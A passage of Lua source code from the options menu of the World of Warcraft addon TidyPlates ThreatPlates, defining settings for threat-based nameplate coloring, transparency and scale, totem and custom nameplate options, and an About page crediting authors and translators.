-- order = 530,
-- type = "range",
-- min = 0, max = 32, step = 0.1,
-- arg = { "TestWidget", "EdgeSize" },
-- },
-- TestBorderOffset = {
-- name = "Offset",
-- order = 540,
-- type = "range",
-- min = -16, max = 16, step = 0.1,
-- arg = { "TestWidget", "Offset" },
-- },
-- TestBorderInset = {
-- name = "Inset",
-- order = 545,
-- type = "range",
-- min = -16, max = 16, step = 0.1,
-- arg = { "TestWidget", "Inset" },
-- },
-- TestSacle = GetScaleEntry("Scale", 550, { "TestWidget", "Scale" }, nil, 0, 5.0)
-- },
-- },
},
},
ThreatOptions = {
name = L["Threat System"],
type = "group",
order = 30,
args = {
Enable = {
name = L["Enable Threat System"],
type = "toggle",
order = 1,
arg = { "threat", "ON" }
},
GeneralSettings = {
name = L["General Settings"],
type = "group",
order = 0,
disabled = function() return not db.threat.ON end,
args = {
ByUnitType = {
name = L["Show For"],
type = "group",
order = 10,
inline = true,
args = {
Help = {
name = L["Show threat feedback based on unit type or status or environmental conditions."],
order = 0,
type = "description",
},
Header1 = { type = "header", order = 10, name = L["Enemy Units"], },
EnemyNPCs = {
type = "toggle",
name = L["Enemy NPCs"],
order = 12,
desc = L["If checked, threat feedback from normal mobs will be shown."],
arg = { "threat", "toggle", "Normal" },
},
EnemyElite = {
type = "toggle",
name = L["Rares & Elites"],
order = 13,
desc = L["If checked, threat feedback from elite and rare mobs will be shown."],
arg = { "threat", "toggle", "Elite" },
},
EnemyBoss = {
type = "toggle",
name = L["Bosses"],
order = 14,
desc = L["If checked, threat feedback from boss level mobs will be shown."],
arg = { "threat", "toggle", "Boss" },
},
Header2 = { type = "header", order = 20, name = L["Neutral Units & Minions"], },
NeutralNPCs = {
type = "toggle",
name = L["Neutral NPCs"],
order = 21,
desc = L["If checked, threat feedback from neutral mobs will be shown."],
arg = { "threat", "toggle", "Neutral" },
},
Minus = {
type = "toggle",
name = L["Minor"],
order = 22,
desc = L["If checked, threat feedback from minor mobs will be shown."],
arg = { "threat", "toggle", "Minus" },
},
Header3 = { type = "header", order = 30, name = L["Status & Environment"], },
Tapped = {
type = "toggle",
name = L["Tapped Units"],
order = 40,
desc = L["If checked, threat feedback from tapped mobs will be shown regardless of unit type."],
arg = { "threat", "toggle", "Tapped" },
},
OnlyInInstances = {
type = "toggle",
name = L["Only in Instances"],
order = 50,
desc = L["If checked, threat feedback will only be shown in instances (dungeons, raids, arenas, battlegrounds), not in the open world."],
arg = { "threat", "toggle", "InstancesOnly" },
},
},
},
General = {
name = L["Special Effects"],
type = "group",
order = 10,
inline = true,
args = {
OffTank = {
type = "toggle",
name = L["Highlight Mobs on Off-Tanks"],
order = 10,
width = "full",
desc = L["If checked, nameplates of mobs attacking another tank can be shown with different color, scale, and transparency."],
descStyle = "inline",
arg = { "threat", "toggle", "OffTank" },
},
},
},
ThreatHeuristic = {
name = L["Threat Detection"],
type = "group",
order = 20,
inline = true,
args = {
Note = {
name = L["By default, the threat system works based on a mob's threat table. Some mobs do not have such a threat table even if you are in combat with them. The threat detection heuristic uses other factors to determine if you are in combat with a mob. This works well in instances. In the open world, this can show units in combat with you that are actually just in combat with another player (and not you)."],
order = 0,
type = "description",
},
ThreatTable = {
type = "toggle",
name = L["Threat Table"],
order = 10,
arg = { "threat", "UseThreatTable" },
},
Heuristic = {
type = "toggle",
name = L["Heuristic"],
order = 20,
set = function(info, val) SetValue(info, not val) end,
get = function(info) return not GetValue(info) end,
arg = { "threat", "UseThreatTable" },
},
HeuristicOnlyInInstances = {
type = "toggle",
name = L["Heuristic In Instances"],
order = 30,
desc = L["Use a heuristic to detect if a mob is in combat with you, but only in instances (like dungeons or raids)."],
arg = { "threat", "UseHeuristicInInstances" },
},
},
},
},
},
Alpha = {
name = L["Transparency"],
type = "group",
desc = L["Set transparency settings for different threat levels."],
disabled = function() return not db.threat.ON end,
order = 1,
args = {
Enable = {
name = L["Enable Threat Transparency"],
type = "group",
inline = true,
order = 0,
args = {
Enable = {
type = "toggle",
name = L["Enable"],
desc = L["This option allows you to control whether threat affects the transparency of nameplates."],
width = "full",
descStyle = "inline",
order = 2,
arg = { "threat", "useAlpha" }
},
},
},
Tank = {
name = L["|cff00ff00Tank|r"],
type = "group",
inline = true,
order = 1,
disabled = function() if db.threat.useAlpha then return false else return true end end,
args = {
Low = GetTransparencyEntryThreat(L["|cffff0000Low Threat|r"], 1, { "threat", "tank", "alpha", "LOW" }),
Med = GetTransparencyEntryThreat(L["|cffffff00Medium Threat|r"], 2, { "threat", "tank", "alpha", "MEDIUM" }),
High = GetTransparencyEntryThreat(L["|cff00ff00High Threat|r"], 3, { "threat", "tank", "alpha", "HIGH" }),
OffTank = GetTransparencyEntryThreat(L["|cff0faac8Off-Tank|r"], 4, { "threat", "tank", "alpha", "OFFTANK" }),
},
},
DPS = {
name = L["|cffff0000DPS/Healing|r"],
type = "group",
inline = true,
order = 2,
disabled = function() if db.threat.useAlpha then return false else return true end end,
args = {
Low = GetTransparencyEntryThreat(L["|cff00ff00Low Threat|r"], 1, { "threat", "dps", "alpha", "LOW" }),
Med = GetTransparencyEntryThreat(L["|cffffff00Medium Threat|r"], 2, { "threat", "dps", "alpha", "MEDIUM" }),
High = GetTransparencyEntryThreat(L["|cffff0000High Threat|r"], 3, { "threat", "dps", "alpha", "HIGH" }),
},
},
Marked = {
name = L["Additional Adjustments"],
type = "group",
inline = true,
order = 3,
disabled = function() if db.threat.useAlpha then return false else return true end end,
args = {
DisableSituational = {
name = L["Disable threat transparency for target marked, mouseover or casting units."],
type = "toggle",
order = 10,
width = "full",
desc = L["This setting will disable threat transparency for target marked, mouseover or casting units and instead use the general transparency settings."],
arg = { "threat", "marked", "alpha" }
},
AbsoluteThreatAlpha = {
name = L["Use threat transparency as additive transparency and add or substract it from the general transparency settings."],
order = 20,
type = "toggle",
width = "full",
arg = { "threat", "AdditiveAlpha" },
},
},
},
},
},
Scale = {
name = L["Scale"],
type = "group",
desc = L["Set scale settings for different threat levels."],
disabled = function() return not db.threat.ON end,
order = 1,
args = {
Enable = {
name = L["Enable Threat Scale"],
type = "group",
inline = true,
order = 0,
args = {
Enable = {
type = "toggle",
name = L["Enable"],
desc = L["This option allows you to control whether threat affects the scale of nameplates."],
descStyle = "inline",
width = "full",
order = 2,
arg = { "threat", "useScale" }
},
},
},
Tank = {
name = L["|cff00ff00Tank|r"],
type = "group",
inline = true,
order = 1,
disabled = function() return not db.threat.useScale end,
args = {
Low = GetScaleEntryThreat(L["|cffff0000Low Threat|r"], 1, { "threat", "tank", "scale", "LOW" }),
Med = GetScaleEntryThreat(L["|cffffff00Medium Threat|r"], 2, { "threat", "tank", "scale", "MEDIUM" }),
High = GetScaleEntryThreat(L["|cff00ff00High Threat|r"], 3, { "threat", "tank", "scale", "HIGH" }),
OffTank = GetScaleEntryThreat(L["|cff0faac8Off-Tank|r"], 4, { "threat", "tank", "scale", "OFFTANK" }),
},
},
DPS = {
name = L["|cffff0000DPS/Healing|r"],
type = "group",
inline = true,
order = 2,
disabled = function() return not db.threat.useScale end,
args = {
Low = GetScaleEntryThreat(L["|cff00ff00Low Threat|r"], 1, { "threat", "dps", "scale", "LOW" }),
Med = GetScaleEntryThreat(L["|cffffff00Medium Threat|r"], 2, { "threat", "dps", "scale", "MEDIUM" }),
High = GetScaleEntryThreat(L["|cffff0000High Threat|r"], 3, { "threat", "dps", "scale", "HIGH" }),
},
},
Marked = {
name = L["Additional Adjustments"],
type = "group",
inline = true,
order = 3,
disabled = function() return not db.threat.useScale end,
args = {
DisableSituational = {
name = L["Disable threat scale for target marked, mouseover or casting units."],
type = "toggle",
order = 10,
width = "full",
desc = L["This setting will disable threat scale for target marked, mouseover or casting units and instead use the general scale settings."],
arg = { "threat", "marked", "scale" }
},
AbsoluteThreatScale = {
name = L["Use threat scale as additive scale and add or substract it from the general scale settings."],
order = 20,
type = "toggle",
width = "full",
arg = { "threat", "AdditiveScale" },
},
},
},
-- TypeSpecific = {
-- name = L["Additional Adjustments"],
-- type = "group",
-- inline = true,
-- order = 4,
-- disabled = function() if db.threat.useScale then return false else return true end end,
-- args = {
-- Toggle = {
-- name = L["Enable Adjustments"],
-- order = 1,
-- type = "toggle",
-- width = "full",
-- desc = L["This will allow you to add additional scaling changes to specific mob types."],
-- descStyle = "inline",
-- arg = { "threat", "useType" }
-- },
-- AdditionalSliders = {
-- name = L["Additional Adjustments"],
-- type = "group",
-- order = 3,
-- inline = true,
-- disabled = function() if not db.threat.useType or not db.threat.useScale then return true else return false end end,
-- args = {
-- Mini = {
-- name = L["Minor"],
-- order = 0.5,
-- type = "range",
-- width = "double",
-- arg = { "threat", "scaleType", "Minus" },
-- min = -0.5,
-- max = 0.5,
-- step = 0.01,
-- isPercent = true,
-- },
-- NormalNeutral = {
-- name = PLAYER_DIFFICULTY1 .. " & " .. COMBATLOG_FILTER_STRING_NEUTRAL_UNITS,
-- order = 1,
-- type = "range",
-- width = "double",
-- arg = { "threat", "scaleType", "Normal" },
-- min = -0.5,
-- max = 0.5,
-- step = 0.01,
-- isPercent = true,
-- },
-- Elite = {
-- name = ELITE,
-- order = 2,
-- type = "range",
-- width = "double",
-- arg = { "threat", "scaleType", "Elite" },
-- min = -0.5,
-- max = 0.5,
-- step = 0.01,
-- isPercent = true,
-- },
-- Boss = {
-- name = BOSS,
-- order = 3,
-- type = "range",
-- width = "double",
-- arg = { "threat", "scaleType", "Boss" },
-- min = -0.5,
-- max = 0.5,
-- step = 0.01,
-- isPercent = true,
-- },
-- },
-- },
-- },
-- },
},
},
Coloring = {
name = L["Coloring"],
type = "group",
order = 4,
get = GetColorAlpha,
set = SetColorAlpha,
disabled = function() return not db.threat.ON end,
args = {
Toggles = {
name = L["Enable Threat Coloring of Healthbar"],
order = 1,
type = "group",
inline = true,
args = {
UseHPColor = {
name = L["Enable"],
type = "toggle",
order = 1,
desc = L["This option allows you to control whether threat affects the healthbar color of nameplates."],
get = GetValue,
set = SetValue,
descStyle = "inline",
width = "full",
arg = { "threat", "useHPColor" }
},
},
},
Tank = {
name = L["|cff00ff00Tank|r"],
type = "group",
inline = true,
order = 2,
--disabled = function() if db.threat.useHPColor then return false else return true end end,
args = {
Low = {
name = L["|cffff0000Low Threat|r"],
type = "color",
order = 1,
arg = { "settings", "tank", "threatcolor", "LOW" },
hasAlpha = true,
},
Med = {
name = L["|cffffff00Medium Threat|r"],
type = "color",
order = 2,
arg = { "settings", "tank", "threatcolor", "MEDIUM" },
hasAlpha = true,
},
High = {
name = L["|cff00ff00High Threat|r"],
type = "color",
order = 3,
arg = { "settings", "tank", "threatcolor", "HIGH" },
hasAlpha = true,
},
OffTank = {
name = L["|cff0faac8Off-Tank|r"],
type = "color",
order = 5,
arg = { "settings", "tank", "threatcolor", "OFFTANK" },
hasAlpha = true,
disabled = function() return not db.threat.toggle.OffTank end
},
},
},
DPS = {
name = L["|cffff0000DPS/Healing|r"],
type = "group",
inline = true,
order = 3,
--disabled = function() if db.threat.useHPColor then return false else return true end end,
args = {
Low = {
name = L["|cff00ff00Low Threat|r"],
type = "color",
order = 1,
arg = { "settings", "dps", "threatcolor", "LOW" },
hasAlpha = true,
},
Med = {
name = L["|cffffff00Medium Threat|r"],
type = "color",
order = 2,
arg = { "settings", "dps", "threatcolor", "MEDIUM" },
hasAlpha = true,
},
High = {
name = L["|cffff0000High Threat|r"],
type = "color",
order = 3,
arg = { "settings", "dps", "threatcolor", "HIGH" },
hasAlpha = true,
},
},
},
},
},
DualSpec = {
name = L["Spec Roles"],
type = "group",
desc = L["Set the roles your specs represent."],
disabled = function() return not db.threat.ON end,
order = 5,
args = CreateSpecRoles(),
},
Textures = {
name = L["Textures"],
type = "group",
order = 3,
desc = L["Set threat textures and their coloring options here."],
disabled = function() return not db.threat.ON end,
args = {
ThreatArt = {
name = L["Enable Threat Textures"],
type = "group",
order = 1,
inline = true,
args = {
Enable = {
name = L["Enable"],
type = "toggle",
order = 1,
desc = L["This option allows you to control whether textures are hidden or shown on nameplates for different threat levels. Dps/healing uses regular textures, for tanking textures are swapped."],
descStyle = "inline",
width = "full",
set = function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Threat") end,
arg = { "threat", "art", "ON" },
},
},
},
Options = {
name = L["Art Options"],
type = "group",
order = 2,
inline = true,
disabled = function() return not db.threat.art.ON end,
args = {
PrevOffTank = {
name = L["Off-Tank"],
type = "execute",
order = 1,
width = "full",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ThreatWidget\\" .. db.threat.art.theme .. "\\" .. "OFFTANK",
imageWidth = 256,
imageHeight = 64,
disabled = function() return not db.threat.toggle.OffTank end
},
PrevLow = {
name = L["Low Threat"],
type = "execute",
order = 2,
width = "full",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ThreatWidget\\" .. db.threat.art.theme .. "\\" .. "HIGH",
imageWidth = 256,
imageHeight = 64,
},
PrevMed = {
name = L["Medium Threat"],
type = "execute",
order = 3,
width = "full",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ThreatWidget\\" .. db.threat.art.theme .. "\\" .. "MEDIUM",
imageWidth = 256,
imageHeight = 64,
},
PrevHigh = {
name = L["High Threat"],
type = "execute",
order = 4,
width = "full",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ThreatWidget\\" .. db.threat.art.theme .. "\\" .. "LOW",
imageWidth = 256,
imageHeight = 64,
},
Style = {
name = L["Style"],
type = "group",
order = 10,
inline = true,
args = {
Dropdown = {
name = "",
type = "select",
order = 1,
set = function(info, val)
SetValue(info, val)
local i = options.args.ThreatOptions.args.Textures.args.Options.args
local p = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ThreatWidget\\"
i.PrevOffTank.image = p .. db.threat.art.theme .. "\\" .. "OFFTANK"
i.PrevLow.image = p .. db.threat.art.theme .. "\\" .. "HIGH"
i.PrevMed.image = p .. db.threat.art.theme .. "\\" .. "MEDIUM"
i.PrevHigh.image = p .. db.threat.art.theme .. "\\" .. "LOW"
end,
values = { default = "Default", bar = "Bar Style" },
arg = { "threat", "art", "theme" }
},
},
},
Marked = {
name = L["Target Marked Units"],
type = "group",
inline = true,
order = 20,
args = {
Toggle = {
name = L["Ignore Marked Units"],
order = 2,
type = "toggle",
desc = L["This will allow you to disable threat art on target marked units."],
descStyle = "inline",
width = "full",
arg = { "threat", "marked", "art" }
},
},
},
},
},
},
},
},
},
Widgets = CreateWidgetOptions(),
Totems = {
name = L["Totems"],
type = "group",
childGroups = "list",
order = 50,
args = {},
},
Custom = {
name = L["Custom Nameplates"],
type = "group",
childGroups = "list",
order = 60,
args = {},
},
About = {
name = L["About"],
type = "group",
order = 80,
args = {
AboutInfo = {
type = "description",
order = 2,
width = "full",
name = L["Clear and easy to use threat-reactive nameplates.\n\nCurrent version: "] .. GetAddOnMetadata("TidyPlates_ThreatPlates", "version") .. L["\n\nFeel free to email me at |cff00ff00threatplates@gmail.com|r\n\n--\n\nBlacksalsify\n\n(Original author: Suicidal Katt - |cff00ff00Shamtasticle@gmail.com|r)"],
},
Header1 = {
order = 3,
type = "header",
name = "Translators",
},
Translators1 = {
type = "description",
order = 4,
width = "full",
name = "deDE: Blacksalsify (original author: Aideen@Perenolde/EU)"
},
-- Translators2 = {
-- type = "description",
-- order = 5,
-- width = "full",
-- name = "esES: Need Translator!!"
-- },
-- Translators3 = {
-- type = "description",
-- order = 6,
-- width = "full",
-- name = "esMX: Need Translator!!"
-- },
-- Translators4 = {
-- type = "description",
-- order = 7,
-- width = "full",
-- name = "frFR: Need Translator!!"
-- },
Translators5 = {
type = "description",
order = 8,
width = "full",
name = "koKR: yuk6196 (CurseForge)"
},
-- Translators6 = {
-- type = "description",
-- order = 9,
-- width = "full",
-- name = "ruRU: Need Translator!!"
-- },
-- Translators7 = {
-- type = "description",
-- order = 10,
-- width = "full",
-- name = "zhCN: y123ao6 (CurseForge)"
-- },
Translators8 = {
type = "description",
order = 11,
width = "full",
name = "zhTW: gaspy10 (CurseForge)"
},
},
},
},
}
end
local ClassOpts_OrderCount = 1
local ClassOpts = {
Style = {
name = "Style",
order = -1,
type = "select",
width = "full",
set = function(info, val)
SetValue(info, val)
for k_c, v_c in pairs(CLASS_SORT_ORDER) do
options.args.Widgets.args.ClassIconWidget.args.Textures.args["Prev" .. k_c].image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ClassIconWidget\\" .. db.classWidget.theme .. "\\" .. CLASS_SORT_ORDER[k_c]
end
end,
values = { default = "Default", transparent = "Transparent", crest = "Crest", clean = "Clean" },
arg = { "classWidget", "theme" },
},
};
for k_c, v_c in pairs(CLASS_SORT_ORDER) do
ClassOpts["Prev" .. k_c] = {
name = CLASS_SORT_ORDER[k_c],
type = "execute",
order = ClassOpts_OrderCount,
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\ClassIconWidget\\" .. db.classWidget.theme .. "\\" .. CLASS_SORT_ORDER[k_c],
}
ClassOpts_OrderCount = ClassOpts_OrderCount + 1
end
options.args.Widgets.args.ClassIconWidget.args.Textures.args = ClassOpts
local TotemOpts = {
TotemSettings = {
name = L["|cffffffffTotem Settings|r"],
type = "group",
order = 0,
get = GetValue,
set = SetValue,
args = {
Toggles = {
name = L["Toggling"],
type = "group",
order = 1,
inline = true,
args = {
HideHealth = {
name = L["Hide Healthbars"],
type = "toggle",
order = 1,
width = "double",
arg = { "totemSettings", "hideHealthbar" },
},
},
},
Icon = {
name = L["Icon"],
type = "group",
order = 2,
inline = true,
args = {
Show = {
name = L["Enable"],
order = 5,
type = "toggle",
set = function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("TotemIcon") end,
arg = { "totemWidget", "ON" },
},
Size = GetSizeEntryDefault(10, "totemWidget"),
Offset = GetPlacementEntryWidget(30, "totemWidget"),
},
},
Alpha = {
name = L["Transparency"],
type = "group",
order = 3,
inline = true,
args = {
TotemAlpha = {
name = L["Totem Transparency"],
order = 1,
type = "range",
width = "full",
step = 0.05,
min = 0,
max = 1,
isPercent = true,
set = function(info, val) SetValue(info, abs(val - 1)) end,
get = function(info) return 1 - GetValue(info) end,
arg = { "nameplate", "alpha", "Totem" },
},
},
},
Scale = {
name = L["Scale"],
type = "group",
order = 4,
inline = true,
args = {
TotemScale = GetScaleEntryWidget(L["Totem Scale"], 1, { "nameplate", "scale", "Totem" }),
}
},
},
},
};
local totem_list = {}
local i = 1
for name, data in pairs(Addon.TotemInformation) do
totem_list[i] = data
i = i + 1
end
-- properly no longer possible if 7.3.5+ GetSpellInfo changes go live
table.sort(totem_list, function(a, b) return a.SortKey < b.SortKey end)
for i, totem_info in ipairs(totem_list) do
TotemOpts[totem_info.Name] = {
name = "|cff" .. totem_info.GroupColor .. totem_info.Name .. "|r",
type = "group",
order = i,
args = {
Header = {
name = "> |cff" .. totem_info.GroupColor .. totem_info.Name .. "|r <",
type = "header",
order = 0,
},
Enabled = {
name = L["Enable"],
type = "group",
inline = true,
order = 1,
args = {
Toggle = {
name = L["Show Nameplate"],
type = "toggle",
arg = { "totemSettings", totem_info.ID, "ShowNameplate" },
},
},
},
HealthColor = {
name = L["Health Coloring"],
type = "group",
order = 2,
inline = true,
args = {
Enable = {
name = L["Enable Custom Color"],
type = "toggle",
order = 1,
arg = { "totemSettings", totem_info.ID, "ShowHPColor" },
},
Color = {
name = L["Color"],
type = "color",
order = 2,
get = GetColor,
set = SetColor,
arg = { "totemSettings", totem_info.ID, "Color" },
},
},
},
Textures = {
name = L["Icon"],
type = "group",
order = 3,
inline = true,
args = {
Icon = {
name = "",
type = "execute",
width = "full",
order = 0,
image = "Interface\\Addons\\TidyPlates_ThreatPlates\\Widgets\\TotemIconWidget\\" .. db.totemSettings[totem_info.ID].Style .. "\\" .. totem_info.ID,
},
Style = {
name = "",
type = "select",
order = 1,
width = "full",
set = function(info, val)
SetValue(info, val)
options.args.Totems.args[totem_info.Name].args.Textures.args.Icon.image = "Interface\\Addons\\TidyPlates_ThreatPlates\\Widgets\\TotemIconWidget\\" .. db.totemSettings[totem_info.ID].Style .. "\\" .. totem_info.ID;
end,
values = { normal = "Normal", special = "Special" },
arg = { "totemSettings", totem_info.ID, "Style" },
},
},
},
},
}
end
options.args.Totems.args = TotemOpts;
local CustomOpts_OrderCnt = 30;
local CustomOpts = {
GeneralSettings = {
name = L["|cffffffffGeneral Settings|r"],
type = "group",
order = 0,
args = {
Icon = {
name = L["Icon"],
type = "group",
order = 1,
inline = true,
args = {
Help = {
name = L["Disabling this will turn off all icons for custom nameplates without harming other custom settings per nameplate."],
order = 0,
type = "description",
width = "full",
},
Enable = {
name = L["Enable"],
order = 10,
type = "toggle",
width = "half",
set = function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("UniqueIcon") end,
arg = { "uniqueWidget", "ON" }
},
Size = GetSizeEntryDefault(10, "uniqueWidget"),
-- Anchor = {
-- name = L["Anchor"],
-- type = "select",
-- order = 20,
-- values = t.FullAlign,
-- arg = { "uniqueWidget", "anchor" }
-- },
Placement = GetPlacementEntryWidget(30, "uniqueWidget", true),
},
},
},
},
};
local CustomOpts_OrderCnt = 30;
local clipboard = nil;
for k_c, v_c in ipairs(db.uniqueSettings) do
CustomOpts["#" .. k_c] = {
name = "#" .. k_c .. ". " .. db.uniqueSettings[k_c].name,
type = "group",
--disabled = function() if db.totemSettings[totemID[k_c][2]][1] then return false else return true end end,
order = CustomOpts_OrderCnt,
args = {
Header = {
name = db.uniqueSettings[k_c].name,
type = "header",
order = 0,
},
Name = {
name = L["Set Name"],
order = 1,
type = "group",
inline = true,
args = {
SetName = {
name = db.uniqueSettings[k_c].name,
type = "input",
order = 1,
width = "full",
set = function(info, val)
SetValue(info, val)
options.args.Custom.args["#" .. k_c].name = "#" .. k_c .. ". " .. val
options.args.Custom.args["#" .. k_c].args.Header.name = val
options.args.Custom.args["#" .. k_c].args.Name.args.SetName.name = val
UpdateSpecial()
end,
arg = { "uniqueSettings", k_c, "name" },
},
TargetButton = {
name = L["Use Target's Name"],
type = "execute",
order = 2,
width = "single",
func = function()
if UnitExists("target") then
local target = UnitName("target")
db.uniqueSettings[k_c].name = target
options.args.Custom.args["#" .. k_c].name = "#" .. k_c .. ". " .. target
options.args.Custom.args["#" .. k_c].args.Header.name = target
options.args.Custom.args["#" .. k_c].args.Name.args.SetName.name = target
UpdateSpecial()
else
t.Print(L["No target found."])
end
end,
},
ClearButton = {
name = L["Clear"],
type = "execute",
order = 3,
width = "single",
func = function()
db.uniqueSettings[k_c].name = ""
options.args.Custom.args["#" .. k_c].name = "#" .. k_c .. ". " .. ""
options.args.Custom.args["#" .. k_c].args.Header.name = ""
options.args.Custom.args["#" .. k_c].args.Name.args.SetName.name = ""
UpdateSpecial()
end,
},
Header1 = {
name = "",
order = 4,
type = "header",
},
Copy = {
name = L["Copy"],
order = 5,
type = "execute",
func = function()
clipboard = {}
clipboard = t.CopyTable(db.uniqueSettings[k_c])
t.Print(L["Copied!"])
end,
},
Paste = {
name = L["Paste"],
order = 6,
type = "execute",
func = function()
if type(clipboard) == "table" and clipboard.name then
db.uniqueSettings[k_c] = t.CopyTable(clipboard)
t.Print(L["Pasted!"])
else
t.Print(L["Nothing to paste!"])
end
options.args.Custom.args["#" .. k_c].name = "#" .. k_c .. ". " .. db.uniqueSettings[k_c].name
options.args.Custom.args["#" .. k_c].args.Header.name = db.uniqueSettings[k_c].name
options.args.Custom.args["#" .. k_c].args.Name.args.SetName.name = db.uniqueSettings[k_c].name
local spell_id = db.uniqueSettings[k_c].SpellID
if spell_id then
local _, _, icon = GetSpellInfo(spell_id)
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = icon
else
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = db.uniqueSettings[k_c].icon
end
UpdateSpecial()
clipboard = nil
end,
},
Header2 = {
name = "",
order = 7,
type = "header",
},
ResetDefault = {
type = "execute",
name = L["Restore Defaults"],
order = 8,
func = function()
local defaults = t.CopyTable(t.DEFAULT_SETTINGS.profile.uniqueSettings[k_c])
db.uniqueSettings[k_c] = defaults
options.args.Custom.args["#" .. k_c].name = "#" .. k_c .. ". " .. defaults.name
options.args.Custom.args["#" .. k_c].args.Header.name = defaults.name
options.args.Custom.args["#" .. k_c].args.Name.args.SetName.name = defaults.name
options.args.Custom.args["#" .. k_c].args.Icon.args.Icon.image = defaults.icon
UpdateSpecial()
end,
},
},
},
Enable = {
name = L["Nameplate Style"],
type = "group",
inline = true,
order = 10,
args = {
UseStyle = {
name = L["Enable"],
order = 1,
type = "toggle",
desc = L["This option allows you to control whether custom settings for nameplate style, color, transparency and scaling should be used for this nameplate."],
arg = { "uniqueSettings", k_c, "useStyle" },
},
HeadlineView = {
name = L["Healthbar View"],
order = 20,
type = "toggle",
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
set = function(info, val) if val then db.uniqueSettings[k_c].ShowHeadlineView = false; SetValue(info, val) end end,
arg = { "uniqueSettings", k_c, "showNameplate" },
},
HealthbarView = {
name = L["Headline View"],
order = 30,
type = "toggle",
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
set = function(info, val) if val then db.uniqueSettings[k_c].showNameplate = false; SetValue(info, val) end end,
arg = { "uniqueSettings", k_c, "ShowHeadlineView" },
},
HideNameplate = {
name = L["Hide Nameplate"],
order = 40,
type = "toggle",
desc = L["Disables nameplates (healthbar and name) for the units of this type and only shows an icon (if enabled)."],
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
set = function(info, val)
if val then
db.uniqueSettings[k_c].showNameplate = false;
db.uniqueSettings[k_c].ShowHeadlineView = false;
Addon:ForceUpdate()
end
end,
get = function(info) return not(db.uniqueSettings[k_c].showNameplate or db.uniqueSettings[k_c].ShowHeadlineView) end,
},
},
},
Appearance = {
name = L["Appearance"],
type = "group",
order = 30,
inline = true,
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
args = {
CustomColor = {
name = L["Custom Color"],
order = 1,
type = "toggle",
desc = L["Define a custom color for this nameplate and overwrite any other color settings."],
arg = { "uniqueSettings", k_c, "useColor" },
},
ColorSetting = {
name = L["Color"],
order = 2,
type = "color",
disabled = function() return not db.uniqueSettings[k_c].useStyle or not db.uniqueSettings[k_c].useColor end,
get = GetColor,
set = SetColor,
arg = { "uniqueSettings", k_c, "color" },
},
-- ColorThreatSystem = {
-- name = L["Use Threat Coloring"],
-- order = 3,
-- type = "toggle",
-- desc = L["In combat, use coloring based on threat level as configured in the threat system. The custom color is only used out of combat."],
-- disabled = function() return not db.uniqueSettings[k_c].useStyle or not db.uniqueSettings[k_c].useColor end,
-- arg = {"uniqueSettings", k_c, "UseThreatColor"},
-- },
UseRaidMarked = {
name = L["Color by Target Mark"],
order = 4,
type = "toggle",
desc = L["Additionally color the nameplate's healthbar or name based on the target mark if the unit is marked."],
disabled = function() return not db.uniqueSettings[k_c].useStyle or not db.uniqueSettings[k_c].useColor end,
arg = { "uniqueSettings", k_c, "allowMarked" },
},
Spacer1 = GetSpacerEntry(10),
CustomAlpha = {
name = L["Custom Transparency"],
order = 11,
type = "toggle",
desc = L["Define a custom transparency for this nameplate and overwrite any other transparency settings."],
set = function(info, val) SetValue(info, not val) end,
get = function(info) return not GetValue(info) end,
arg = { "uniqueSettings", k_c, "overrideAlpha" },
},
AlphaSetting = GetTransparencyEntryDefault(12, { "uniqueSettings", k_c, "alpha" }, function() return not db.uniqueSettings[k_c].useStyle or db.uniqueSettings[k_c].overrideAlpha end),
-- AlphaThreatSystem = {
-- name = L["Use Threat Alpha"],
-- order = 13,
-- type = "toggle",
-- desc = L["In combat, use alpha based on threat level as configured in the threat system. The custom alpha is only used out of combat."],
-- disabled = function() return not db.uniqueSettings[k_c].useStyle or db.uniqueSettings[k_c].overrideAlpha end,
-- arg = {"uniqueSettings", k_c, "UseThreatColor"},
-- },
Spacer2 = GetSpacerEntry(14),
CustomScale = {
name = L["Custom Scale"],
order = 21,
type = "toggle",
desc = L["Define a custom scaling for this nameplate and overwrite any other scaling settings."],
set = function(info, val) SetValue(info, not val) end,
get = function(info) return not GetValue(info) end,
arg = { "uniqueSettings", k_c, "overrideScale" },
},
ScaleSetting = GetScaleEntryDefault(22, { "uniqueSettings", k_c, "scale" }, function() return not db.uniqueSettings[k_c].useStyle or db.uniqueSettings[k_c].overrideScale end),
-- ScaleThreatSystem = {
-- name = L["Use Threat Scale"],
-- order = 23,
-- type = "toggle",
-- desc = L["In combat, use scaling based on threat level as configured in the threat system. The custom scale is only used out of combat."],
-- disabled = function() return not db.uniqueSettings[k_c].useStyle or db.uniqueSettings[k_c].overrideScale end,
-- arg = {"uniqueSettings", k_c, "UseThreatColor"},
-- },
-- Spacer3 = GetSpacerEntry(24),
Header = { type = "header", order = 24, name = "Threat Options", },
ThreatGlow = {
name = L["Threat Glow"],
order = 31,
type = "toggle",
desc = L["Shows a glow based on threat level around the nameplate's healthbar (in combat)."],
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
arg = {"uniqueSettings", k_c, "UseThreatGlow"},
},
ThreatSystem = {
name = L["Enable Threat System"],
order = 32,
type = "toggle",
desc = L["In combat, use coloring, transparency, and scaling based on threat level as configured in the threat system. Custom settings are only used out of combat."],
disabled = function() return not db.uniqueSettings[k_c].useStyle end,
arg = {"uniqueSettings", k_c, "UseThreatColor"},
},
},
},
Icon = {
name = L["Icon"],
type = "group",
order = 40,
inline = true,
disabled = function() return not db.uniqueWidget.ON end,
args = {
Enable = {
name = L["Enable"],
type = "toggle",
order = 1,
desc = L["This option allows you to control whether the custom icon is hidden or shown on this nameplate."],
descStyle = "inline",
width = "full",
arg = { "uniqueSettings", k_c, "showIcon" }
